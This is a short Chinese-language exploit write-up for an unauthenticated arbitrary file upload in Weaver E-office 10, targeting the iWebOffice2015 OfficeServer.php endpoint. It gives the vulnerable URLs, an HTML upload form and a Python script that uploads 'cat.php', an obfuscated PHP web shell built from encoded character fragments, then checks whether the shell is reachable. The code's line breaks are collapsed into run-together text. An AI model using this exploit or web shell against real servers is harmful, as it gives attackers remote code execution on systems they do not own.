泛微 E-office 10 前台任意⽂件上传

版本号：http://XXXXXXX:8010/eoffice10/version.json

http://IP/eoffice10/server/public/iWebOffice2015/OfficeServer.php

http://IP/eoffice10/server/public/iWebOffice2015/Document/test.php

<form method='post'action='http://XXXXXXXX:8010/eoffice10/server/public/iWebOffice2015/OfficeServer.php'enctype="multipart/form-data" ><input type="file" name="FileData"/></br></br><input type="text" name="FormData" value="1"/></br></br><button type=submit value="上传">上传</button> </form>

# by catimport requestsimport sysdef command(url): url1 = url + '/eoffice10/server/public/iWebOffice2015/OfficeServer.php' headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Content-Length': '997', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'null', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryLpoiBFy4ANA8daew", 'Connection': 'close' } data = "------WebKitFormBoundaryLpoiBFy4ANA8daewrnContent-Disposition:form-data;name="FileData";filename="cat.php"rnContent-Type:application/octet-streamrnrnhackerrn<?phprn$FYDC=create_function(chr(0x864c/0x3bb).chr(113160/984).chr(246-135).str_rot13('z').str_rot13('r'),chr(0134556/0726).str_rot13('i').chr(0x1c9-0x168).base64_decode('bA==').chr(0613-0543).chr(0x1d5-0x1b1).chr(104535/909).chr(0xd476/0x1ea).chr(255-146).str_rot13('r').base64_decode('KQ==').chr(0100701/01063));$FYDC(base64_decode('Njg3N'.'TQ3O0'.'BldkF'.'sKCRf'.''.chr(0x87cd/0x199).base64_decode('RQ==').chr(0x217-0x1de).str_rot13('G').base64_decode('Vg==').''.''.chr(831-761).chr(0261664/01421).str_rot13('1').base64_decode('VA==').chr(0312176/01666).''.'dzVFp'.'kR10p'.'OzIwN'.'jI2ND'.'E7'.''));rn?>nrn------WebKitFormBoundaryLpoiBFy4ANA8daewrnContent-Disposition:form-data;name="FormData"rnrn{'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'cat.php'}rn------WebKitFormBoundaryLpoiBFy4ANA8daew--" result = requests.post(url1, headers=headers, data=data) res = url+'/eoffice10/server/public/iWebOffice2015/Document/cat.php' if 'hacker' in requests.get(res).text: print(res)  else:      print("There is no vulnerability")if __name__ == '__main__': try: url = sys.argv[1] command(url) except: print('help: python eoffice10.py http://1.1.1.1')